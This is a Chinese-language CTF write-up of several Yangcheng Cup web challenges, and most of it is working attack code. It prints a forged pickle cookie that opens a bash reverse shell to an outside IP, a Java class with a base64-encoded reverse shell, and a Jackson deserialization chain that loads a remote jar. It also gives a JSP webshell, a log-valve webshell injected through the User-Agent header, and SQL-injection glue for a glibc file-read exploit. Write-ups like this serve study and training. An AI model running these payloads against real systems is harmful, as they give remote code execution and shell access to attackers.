8.27偶遇粤港澳大湾区羊城杯,全是知识盲区强如战神,拼尽全力无法战胜。
还是太菜了,这里给出官方的羊城杯复现环境:
1 2 3 4 5 6 7 8 9 10 11 12 13 赛题复现环境: PWN-xlogger:139.155.126.78:36422 PWN-xhttpd: 139.155.126.78:33002 PWN-xtravel:139.155.126.78:39702 PWN-xpstack: 139.155.126.78:35475 WEB-ez_java:139.155.126.78:34007 WEB-Lyrics For You: 139.155.126.78:33899 WEB-tomtom2:139.155.126.78:33157 WEB-网络照相馆:139.155.126.78:32201 WEB-tomtom2_revenge: 139.155.126.78:37596 DS-data-analy1:139.155.126.78:38467 DS-data-analy2:139.155.126.78:31076 DS-data-analy3:139.155.126.78:34321
锐评一下web,出的都很有意思,ez_java我觉得挺好玩,但是也挺折磨的,当时没打通,放置了半个晚上回去用同样的payload打通了,百思不得其解。lyrics for you 这题还行,学弟们做的七七八八,我负责收尾工作写payload。 tomtom2和他的revenge题没有怎么看,因为前面说了被ez_java卡了半个晚上。拼尽全力制作出它的非预期解,这两题都出在我的知识盲点上了,比较可以拿来学习。照相馆根本没看,故不做评价,除了非预期比较难绷。
Lyrics for you
发现似乎是直接读文件,尝试任意文件读取:
可行,尝试读flag:
不行,换个思路读app,我们要知道app运行在了哪个地方,先读/proc/1/cmdline
读到app.py :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 import osimport randomfrom config.secret_key import secret_codefrom flask import Flask, make_response, request, render_templatefrom cookie import set_cookie, cookie_check, get_cookieimport pickleapp = Flask(__name__) app.secret_key = random.randbytes(16 ) class UserData : def __init__ (self, username ): self.username = username def Waf (data ): blacklist = [b'R' , b'secret' , b'eval' , b'file' , b'compile' , b'open' , b'os.popen' ] valid = False for word in blacklist: if word.lower() in data.lower(): valid = True break return valid @app.route("/" , methods=['GET' ] ) def index (): return render_template('index.html' ) @app.route("/lyrics" , methods=['GET' ] ) def lyrics (): resp = make_response() resp.headers["Content-Type" ] = 'text/plain; charset=UTF-8' query = request.args.get("lyrics" ) path = os.path.join(os.getcwd() + "/lyrics" , query) try : with open (path) as f: res = f.read() except Exception as e: return "No lyrics found" return res @app.route("/login" , methods=['POST' , 'GET' ] ) def login (): if request.method == 'POST' : username = request.form["username" ] user = UserData(username) res = {"username" : user.username} return set_cookie("user" , res, secret=secret_code) return render_template('login.html' ) @app.route("/board" , methods=['GET' ] ) def board (): invalid = cookie_check("user" , secret=secret_code) if invalid: return "Nope, invalid code get out!" data = get_cookie("user" , secret=secret_code) if isinstance (data, bytes ): a = pickle.loads(data) data = str (data, encoding="utf-8" ) if "username" not in data: return render_template('user.html' , name="guest" ) if data["username" ] == "admin" : return render_template('admin.html' , name=data["username" ]) if data["username" ] != "admin" : return render_template('user.html' , name=data["username" ]) if __name__ == "__main__" : os.chdir(os.path.dirname(__file__)) app.run(host="0.0.0.0" , port=8080 )
关键逻辑就是/board,能进行一个pickle,pickle存在了cookie里,并且对cookie进行了check。这里本地pip install
没有找到cookie
这个module
,可以推测cookie是自己写的一个实现。查看cookie.py
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 import base64import hashlibimport hmacimport picklefrom flask import make_response, requestunicode = str basestring = str def cookie_encode (data, key ): msg = base64.b64encode(pickle.dumps(data, -1 )) sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest()) return tob('!' ) + sig + tob('?' ) + msg def cookie_decode (data, key ): data = tob(data) if cookie_is_encoded(data): sig, msg = data.split(tob('?' ), 1 ) if _lscmp(sig[1 :], base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())): return pickle.loads(base64.b64decode(msg)) return None def waf (data ): blacklist = [b'R' , b'secret' , b'eval' , b'file' , b'compile' , b'open' , b'os.popen' ] valid = False for word in blacklist: if word in data: valid = True break return valid def cookie_check (key, secret=None ): a = request.cookies.get(key) data = tob(request.cookies.get(key)) if data: if cookie_is_encoded(data): sig, msg = data.split(tob('?' ), 1 ) if _lscmp(sig[1 :], base64.b64encode(hmac.new(tob(secret), msg, digestmod=hashlib.md5).digest())): res = base64.b64decode(msg) if waf(res): return True else : return False return True else : return False def tob (s, enc='utf8' ): return s.encode(enc) if isinstance (s, unicode) else bytes (s) def get_cookie (key, default=None , secret=None ): value = request.cookies.get(key) if secret and value: dec = cookie_decode(value, secret) return dec[1 ] if dec and dec[0 ] == key else default return value or default def cookie_is_encoded (data ): return bool (data.startswith(tob('!' )) and tob('?' ) in data) def _lscmp (a, b ): return not sum (0 if x == y else 1 for x, y in zip (a, b)) and len (a) == len (b) def set_cookie (name, value, secret=None , **options ): if secret: value = touni(cookie_encode((name, value), secret)) resp = make_response("success" ) resp.set_cookie("user" , value, max_age=3600 ) return resp elif not isinstance (value, basestring): raise TypeError('Secret key missing for non-string Cookie.' ) if len (value) > 4096 : raise ValueError('Cookie value to long.' ) def touni (s, enc='utf8' , err='strict' ): return s.decode(enc, err) if isinstance (s, bytes ) else unicode(s)
有了源码之后我们就能够自定义cookie了,关键就是secret在哪。
可以看到app.py里的secret_code是从config.secret_key
里导入的,可以得出路径在/usr/etc/app/config/secret_key.py
里:
1 secret_code = "EnjoyThePlayTime123456"
接下来只需要按照cookie.py里的加密逻辑加密我们的pickle即可,由于无回显,打反弹shell,记得waf过滤了R
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 import base64import hashlibimport hmacimport picklefrom flask import make_response, requestunicode = str basestring = str def cookie_encode (data, key ): msg = base64.b64encode(pickle.dumps(data, -1 )) sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest()) return tob('!' ) + sig + tob('?' ) + msg def cookie_decode (data, key ): data = tob(data) if cookie_is_encoded(data): sig, msg = data.split(tob('?' ), 1 ) if _lscmp(sig[1 :], base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())): return pickle.loads(base64.b64decode(msg)) return None def waf (data ): blacklist = [b'R' , b'secret' , b'eval' , b'file' , b'compile' , b'open' , b'os.popen' ] valid = False for word in blacklist: if word in data: valid = True break return valid def cookie_check (key, secret=None ): a = request.cookies.get(key) data = tob(request.cookies.get(key)) if data: if cookie_is_encoded(data): sig, msg = data.split(tob('?' ), 1 ) if _lscmp(sig[1 :], base64.b64encode(hmac.new(tob(secret), msg, digestmod=hashlib.md5).digest())): res = base64.b64decode(msg) if waf(res): return True else : return False return True else : return False def cookie_check (key, value, secret=None ): a = key data = tob(value) if data: print (1 ) if cookie_is_encoded(data): print (2 ) sig, msg = data.split(tob('?' ), 1 ) if _lscmp(sig[1 :], base64.b64encode(hmac.new(tob(secret), msg, digestmod=hashlib.md5).digest())): print (3 ) res = base64.b64decode(msg) print (res) if waf(res): print (4 ) return True else : return False return True else : return False def tob (s, enc='utf8' ): return s.encode(enc) if isinstance (s, unicode) else bytes (s) def get_cookie (key, default=None , secret=None ): value = request.cookies.get(key) if secret and value: dec = cookie_decode(value, secret) return dec[1 ] if dec and dec[0 ] == key else default return value or default def get_cookie (key, value, default=None , secret=None ): if secret and value: dec = cookie_decode(value, secret) return dec[1 ] if dec and dec[0 ] == key else default return value or default def cookie_is_encoded (data ): return bool (data.startswith(tob('!' )) and tob('?' ) in data) def _lscmp (a, b ): return not sum (0 if x == y else 1 for x, y in zip (a, b)) and len (a) == len (b) def set_cookie (name, value, secret=None , **options ): if secret: value = touni(cookie_encode((name, value), secret)) return value elif not isinstance (value, basestring): raise TypeError('Secret key missing for non-string Cookie.' ) if len (value) > 4096 : raise ValueError('Cookie value to long.' ) def touni (s, enc='utf8' , err='strict' ): return s.decode(enc, err) if isinstance (s, bytes ) else unicode(s) res = b'''(cos system S'bash -c "bash -i >& /dev/tcp/106.52.94.23/2333 0>&1"' o.''' print (set_cookie("user" , res, secret="EnjoyThePlayTime123456" ))
直接往/board
里打cookie即可,这样shell就能弹过来了:
ez_java
最拖时间的题目,传统美德。
拿到源码一眼顶针打jackson,但是能用的链子全部被ban,包括能够触发jackson的链子也都断了。
给了一个userBean
,盲猜有用,发现userBean
里定义了一个去奇怪的函数getGift
,是一个getter,能够用jackson触发。
尝试用jrmp,但是不行。本来就没有办法,如果用jrmp随便就能打穿的话这题就没啥意义了。
似乎没啥出路了,这里只能去搜一下addurl
是干啥的,没想到让我找到了一篇新文章:https://xz.aliyun.com/t/11837?time__1311=Cq0xuD07itdeqGNen%3DDRDAO73Dk0dFeW4D#toc-2
真的很像了,卧槽,都是这个addURL来打的。通过addURL加载远程类从而进行rce。
这边就有新思路了:
Jackson -> getter -> getGift加载远程jar包
但是怎么打jackson呢?
https://blog.csdn.net/uuzeray/article/details/139222583
Z3r4y师傅的京麟ctf里看见了个新路线:
抄它的代码:
但是连不上vps,没打成功,哪出问题了呢?
这里卡了我很长很长时间,绷不住了。jar包里readObject和static都分别试过了,就是没合在一起试,真tm的出生。
jar包:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import java.io.Serializable;public class evil implements Serializable { static { try { Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEwNi41Mi45NC4yMy8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}" ); } catch (Exception e){ } } public evil () throws Exception { Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEwNi41Mi45NC4yMy8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}" ); } }
idea
里编译成.class
文件后再去用jar
直接打包成.jar
1 jar -cvf evil.jar evil.class
先按先知那篇文章的打法用jackson
触发getter
把jar
包加载进classpath
里:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 package com.Err0r233;import com.example.ycbjava.bean.User;import com.fasterxml.jackson.databind.node.POJONode;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;import javax.swing.event.EventListenerList;import javax.swing.undo.UndoManager;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.sql.Connection;import java.sql.DriverManager;import java.util.Base64;import java.util.Vector;public class test2 { public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass node = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode" ); CtMethod wr = node.getDeclaredMethod("writeReplace" ); node.removeMethod(wr); ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); node.toClass(classLoader, null ); User user = new User ("url:http://106.52.94.23:6001/evil.jar" ,"123" ); POJONode pojoNode = new POJONode (user); EventListenerList eventListenerList = new EventListenerList (); UndoManager manager = new UndoManager (); Vector vector = (Vector) getValue(manager, "edits" ); vector.add(pojoNode); setValue(eventListenerList, "listenerList" , new Object []{InternalError.class, manager}); base64encode_exp(eventListenerList); Deserialize("rO0ABXNyACNqYXZheC5zd2luZy5ldmVudC5FdmVudExpc3RlbmVyTGlzdLE2xn2E6tZEAwAAeHB0ABdqYXZhLmxhbmcuSW50ZXJuYWxFcnJvcnNyABxqYXZheC5zd2luZy51bmRvLlVuZG9NYW5hZ2Vy4ysheUxxykICAAJJAA5pbmRleE9mTmV4dEFkZEkABWxpbWl0eHIAHWphdmF4LnN3aW5nLnVuZG8uQ29tcG91bmRFZGl0pZ5QulPblf0CAAJaAAppblByb2dyZXNzTAAFZWRpdHN0ABJMamF2YS91dGlsL1ZlY3Rvcjt4cgAlamF2YXguc3dpbmcudW5kby5BYnN0cmFjdFVuZG9hYmxlRWRpdAgNG47tAgsQAgACWgAFYWxpdmVaAAtoYXNCZWVuRG9uZXhwAQEBc3IAEGphdmEudXRpbC5WZWN0b3LZl31bgDuvAQMAA0kAEWNhcGFjaXR5SW5jcmVtZW50SQAMZWxlbWVudENvdW50WwALZWxlbWVudERhdGF0ABNbTGphdmEvbGFuZy9PYmplY3Q7eHAAAAAAAAAAAXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAGRzcgAsY29tLmZhc3RlcnhtbC5qYWNrc29uLmRhdGFiaW5kLm5vZGUuUE9KT05vZGUAAAAAAAAAAgIAAUwABl92YWx1ZXQAEkxqYXZhL2xhbmcvT2JqZWN0O3hyAC1jb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5WYWx1ZU5vZGUAAAAAAAAAAQIAAHhyADBjb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5CYXNlSnNvbk5vZGUAAAAAAAAAAQIAAHhwc3IAHWNvbS5leGFtcGxlLnljYmphdmEuYmVhbi5Vc2Vyz86z8HK2h4oCAANMAARnaWZ0dAASTGphdmEvbGFuZy9TdHJpbmc7TAAIcGFzc3dvcmRxAH4AE0wACHVzZXJuYW1lcQB+ABN4cHB0AAMxMjN0ACV1cmw6aHR0cDovLzEyNy4wLjAuMTo4MDAwL2V2aWwzLmNsYXNzcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBweAAAAAAAAABkcHg=" ); Class.forName("org.mariadb.jdbc.Driver" ); Connection con = DriverManager.getConnection("jdbc:mariadb://localhost:3306/ez_java?serverTimezone=GMT%2B8" , "javauser" , "password" ); } public static Field getField (final Class<?> clazz, final String fieldName) { Field field = null ; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true ); } catch (Exception e){ if (clazz.getSuperclass() != null ){ field = getField(clazz.getSuperclass(), fieldName); } } return field; } public static Object getValue (Object obj, String name) throws Exception{ Field field = getField(obj.getClass(), name); return field.get(obj); } public static void setValue (Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } public static void base64encode_exp (Object obj) throws Exception{ ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (baos); objectOutputStream.writeObject(obj); objectOutputStream.close(); System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray())); } public static void Deserialize (String s) throws Exception{ ByteArrayInputStream bais = new ByteArrayInputStream (Base64.getDecoder().decode(s)); ObjectInputStream objectInputStream = new ObjectInputStream (bais); objectInputStream.readObject(); objectInputStream.close(); } }
这样,然后往/ser
里打这个payload
。这样能把evil.jar
加载进去。然后再直接反序列化触发evil
里的readObject
就可以了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.util.Base64;public class exp2 { public static void main (String[] args) throws Exception { evil ev1l = new evil (); base64_exp(ev1l); } public static void base64_exp (Object obj) throws Exception{ ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (baos); objectOutputStream.writeObject(obj); objectOutputStream.close(); System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray())); } }
第二次发上面这个的exp,shell就能弹过来了:
tomtom2
这个题目给了一个/read
路由,从/read
路由里能够读取到xml
,从他给的/env
路由里可以得到当前tomcat的存放路径存放在/opt/tomcat
,问题是只限定读取.xml
后缀文件。
说到读取xml,第一时间想到了读取web.xml
,但是提示非法的文件名。说明我们不能够读取web.xml。所以只能换个思路读取
在tomcat下,它的配置文件共有4个:
context.xml
web.xml
server.xml
tomcat-users.xml
留个伏笔,先讲一下这四个xml是来干嘛的:
web.xml
web.xml是应用程序描述文件。在java工程中,web.xml
用来初始化工程配置信息,例如欢迎页,错误页等。在我看来基本上就是用于配置web路由的,一个最普通的样例web.xml
如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?xml version="1.0" encoding="UTF-8" ?> <web-app xmlns ="http://java.sun.com/xml/ns/javaee" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd" version ="3.0" > <servlet > <servlet-name > hello</servlet-name > <servlet-class > io.github.hengyunabc.HelloServlet</servlet-class > </servlet > <servlet-mapping > <servlet-name > hello</servlet-name > <url-pattern > /hello</url-pattern > </servlet-mapping > <welcome-file-list > <welcome-file > index.html</welcome-file > </welcome-file-list > </web-app >
这里定义了servlet-mapping
也就是我们的映射。<servlet-mapping>
标签下定义的<servlet-name>
内容就是我们<servlet>
标签下对应的<servlet-name>
,代表着用该对应名字的servlet
进行处理。
而<servlet-mapping>
标签下的<url-pattern>
内容代表着映射到xxx
下。<servlet>
标签下的<servlet-class>
的内容代表着使用某个类下的内容进行处理。(是写好的自定义servlet处理方式或者是官方的servlet配置)
如果我们需要添加一个新映射,就可以通过修改web.xml
进行,并且一旦文件被修改了,就会立刻重新加载这个文件而不用重启服务器。
server.xml & context.xml
context.xml
是tomcat公用的上下文环境配置。
context.xml的基本结构如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?xml version="1.0" encoding="UTF-8" ?> <Context > <!-配置全局参数,例如设置默认语言、编码等 --> <Parameter > ... </Parameter > <!-配置监听器 --> <Listener > ... </Listener > <!-配置过滤器 --> <Filter > ... </Filter > <Valve /> <!-配置Servlet --> <Servlet > ... </Servlet > <!-配置Servlet映射 --> <ServletMapping > ... </ServletMapping > <!-配置JSP页面 --> <JspConfig > ... </JspConfig > <!-配置错误页面 --> <ErrorPage > ... </ErrorPage > <!-配置资源加载 --> <Resources > ... </Resources > </Context >
可以看到还是能够配置servlet
以及映射的。
这里讲一下一个比较特别的valve组件,给出的示例是利用valve来写记录日志:
1 2 3 4 5 <Valve className ="org.apache.catalina.valves.AccessLogValve" directory ="/web/www/logs" prefix ="www_access." suffix =".log" pattern ="%h %l %u %t " %r " %s %b " />
如果需要记录user-agent
只需要改pattern即可:
1 2 3 <Valve className ="org.apache.catalina.valves.AccessLogValve" directory ="/web/www/logs" prefix ="asd" suffix =".jsp" pattern ="%{User-Agent}i" />
可以看到这里记录了我们的ua头,并且页面的后缀是jsp,如果我们的ua头里面记录的jsp的代码,就可以被写入到这个/web/www/logs/asd.jsp
下。
server.xml也是对tomcat的服务器设置,可以进行端口号设置,添加虚拟机,添加各种listener、filter、valve等组件。
server.xml和context.xml的区别在于,context.xml
和web.xml
一样,一旦文件被修改了,**就会立刻重新加载这个文件而不用重启服务器。**而server.xml
是不可动态重新加载的资源,服务器一旦启动后,要修改这个文件就只能够重启服务器进行重新加载。
tomcat-users.xml
可以查看tomcat的账号密码,默认是注释掉的,要把注释去掉才能生效。
回到本题
这题让我们读取xml文件,禁读web.xml,并且有一个需要登录的路由,不难想到让我们先读tomcat-users.xml
获取到tomcat的账号密码。
1 2 admin This_is_my_favorite_passwd
登录成功后就跳转到了上传,不知道有什么用,burp抓包发现了个path参数
并且测试发现只允许上传xml后缀的文件
默认是/uploads/
不知道在哪,等下试试。应该是/myapp/uploads/xxx
还真是,看着能传到任意位置。
搜一下tomcat文件上传+xml
第一个github
看一下这个例题(在github里是通过修改web.xml):RWCTF2022 DesperateCat
找了y4神的博客:
https://blog.csdn.net/solitudi/article/details/122678827
web.xml,能覆盖吗?
如果能覆盖就能够重新加载jar包,但是我们也写不了jar包。
先试试吧,而且由于题目不给读web.xml,我们不知道能不能覆盖成功,随便写点123,如果成功了tomcat应该会崩溃?
能传,但是不知道能不能覆盖成功,按道理来说应该是可以的,能写入。
只能写web.xml,能干吗呢?
只能传xml,如果文件上传是jsp就好了,对应php里只能传一个png文件但是要你rce。
有没有啥办法能让xml解析成jsp?
https://blog.csdn.net/allway2/article/details/110441243
奇怪的东西,标题是将.jsp改成.php,好像是将/tomcatpool.jsp -> /tomcatpool.php,但实际上应该还是jsp解析。
那反过来说就是说php -> jsp
我们要定义一个servlet来解析jsp啊,服了。有没有现成的jsp处理器
https://tomcat.apache.org/tomcat-8.0-doc/api/org/apache/jasper/servlet/JspServlet.html
还真有:
1 2 org.apache.jasper.servlet.JspServlet
可以改一下web.xml了,注意这里是常规的web.xml对servlet的定义:
1 2 3 4 5 6 7 8 <servlet > <servlet-name > jspjsp</servlet-name > <servlet-class > org.apache.jasper.servlet.JspServlet</servlet-class > </servlet > <servlet-mapping > <servlet-name > jspjsp</servlet-name > <url-pattern > *.xml</url-pattern > </servlet-mapping >
把它修改成web.xml,这里随便找了一个示例demo的web.xml:
https://github.com/hengyunabc/executable-embeded-tomcat-sample/blob/master/src/main/resources/WEB-INF/web.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?xml version="1.0" encoding="UTF-8" ?> <web-app xmlns ="http://java.sun.com/xml/ns/javaee" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd" version ="3.0" > <servlet > <servlet-name > jspjsp</servlet-name > <servlet-class > org.apache.jasper.servlet.JspServlet</servlet-class > </servlet > <servlet-mapping > <servlet-name > jspjsp</servlet-name > <url-pattern > *.xml</url-pattern > </servlet-mapping > </web-app >
试试把web.xml覆盖
好像可以了,这里放上上传后的对比图,发现原本报错的页面能够正常解析了:
看看能不能解析jsp了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd" > <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" > <title>Jsp</title> </head> <body> <% System.out.println("test jsp" ); double number = Math.random(); %> <p> Math.random(): <%=number%> </p> </body> </html>
出了!
接下来只需要找一个jsp webshell即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <%@ page import ="java.io.BufferedReader" %> <%@ page import ="java.io.IOException" %> <%@ page import ="java.io.InputStream" %> <%@ page import ="java.io.InputStreamReader" %> <% Runtime runtime = Runtime.getRuntime();Process process = runtime.exec(request.getParameter("cmd" ));InputStream inputStream = process.getInputStream();BufferedReader reader = new BufferedReader (new InputStreamReader (inputStream));String line; while ((line = reader.readLine()) != null ) { out.println(line + "<br>" ); } %>
tomtom2-revenge
tomtom2阻止我们读取web.xml,但是能够意外地覆盖掉web.xml,所以该revenge题针对web.xml
进行了过滤,我们不能够再上传并且覆盖web.xml了。
对于这四个xml,我们就剩下server.xml
和context.xml
没有用了,其中server.xml
不能够进行热加载,所以希望只能够放在覆写context.xml
。
还记得我们的valve组件吗,通过覆写context.xml
添加valve记录我们的ua头到一个.jsp文件,其中该jsp文件记录下我们的恶意ua头即可执行任意命令。
恶意context.xml:
1 2 3 4 5 <Context > <Valve className ="org.apache.catalina.valves.AccessLogValve" directory ="/opt/tomcat/webapps/myapp" prefix ="asd" suffix =".jsp" pattern ="%{User-Agent}i" /> </Context >
注意生成的日志文件名字应该为:
在这里,比如你是2024-8-28生成的日志,则日志名字:
由于放在了/myapp
下,所以通过/myapp/asd.2024-8-28.jsp
访问就能记录下你的ua头。
设置ua头,注意,由于ua头会对引号进行自动转义,包括unicode的转义符号,所以我们的webshell是不能够出现引号的:
1 User-Agent: <%= new java.util.Scanner(Runtime.getRuntime().exec(request.getParameter(request.getParameterMap().keySet().toArray(new String[0])[0])).getInputStream()).useDelimiter(request.getParameter(request.getParameterMap().keySet().toArray(new String[0])[1])).next() %>
这里需要定义Delimiter
,一般在我们的java里都是用\\A
。并且获取到我们的传参键值对。第一个键值对作为exec的内容,第二个键值对作为delimiter
因此再往jsp传值:
这里\要urlencode一下:
网络照相馆
题目提示:
注意hash_file函数
能够通过/url.php进行ssrf:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php include_once 'function.php' ;include_once 'sql.php' ;$baseDir = "data/" ;if (isset ($_POST ['url' ])){ $url = $_POST ['url' ]; $parse = parse_url ($url ); if (!isset ($parse ['host' ])) { die ("url错误!" ); } $data = curl ($url ); $filename = $baseDir . get_filename (8 ); file_put_contents ($filename , $data ); if (check ($conn , $filename , $url )){ file_put_contents ($filename , $data ); $sql = "INSERT INTO `data`(`url`,`filename`) VALUES (?, ?)" ; if ($stmt = mysqli_prepare ($conn , $sql )){ mysqli_stmt_bind_param ($stmt , "ss" , $url , $filename ); mysqli_stmt_execute ($stmt ); } } else { unlink ($filename ); } echo $data ; } ?>
function.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php function curl ($url ) { $curl = curl_init (); curl_setopt ($curl , CURLOPT_URL, $url ); curl_setopt ($curl , CURLOPT_HEADER, 0 ); curl_setopt ($curl , CURLOPT_RETURNTRANSFER, 1 ); $tmpInfo = curl_exec ($curl ); curl_close ($curl ); return $tmpInfo ; } function get_filename ($len ) { $chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" ; $var_size = strlen ($chars ); $res = '' ; for ( $x = 0 ; $x < $len ; $x ++ ) { $random_str = $chars [ rand ( 0 , $var_size - 1 ) ]; $res .= $random_str ; } $res = date ("Y-m-d" ). '_' . $res . '.txt' ; return $res ; } function check ($conn , $filename , $url ) { $sql = "SELECT filename from data where url = '$url '" ; $result = $conn ->query ($sql ); if ($result ) { $row = mysqli_fetch_all ($result ); foreach ( $row as $value ){ if ( hash_file ('md5' , $filename ) === hash_file ('md5' , $value [0 ])){ return false ; } } } return true ; }
结合提示可以得到应该是hash_file
的猫腻。结合任意文件读取+hash_file
,可以想到是通过glibc溢出漏洞来rce:
这里有两个hash_file
函数,其中第一个hash_file('md5', $filename)
,这个filename是$filename = $baseDir . get_filename(8);
,结合get_filename()
函数,可以得知左边这个hash_file
是写死的。
右边的$value[0]
则是通过sql查询的结果,这里sql查询只是一个简单的查询语句,没有做任何的防御。结合$value[0]
,这里需要通过sql注入来读取该文件,利用sql注入select 'file://localhost/xxx'
会返回file://localhost/xxx
这个字符串,从而进行glibc
溢出攻击,简单修改现成的python脚本即可。
Ubuntu Pastebin
具体修改位置:
1 2 3 4 5 6 7 8 9 10 11 12 def download (self, path: str ) -> bytes : """Returns the contents of a remote file. """ path = f"file://localhost/{path} " response = self.send(path) return response.content
1 2 3 4 5 6 7 8 9 def exploit (self ) -> None : path = self.build_exploit_path() start = time.time() try : self.remote.send("' union select '" + path + "'-- " ) except (ConnectionError, ChunkedEncodingError): pass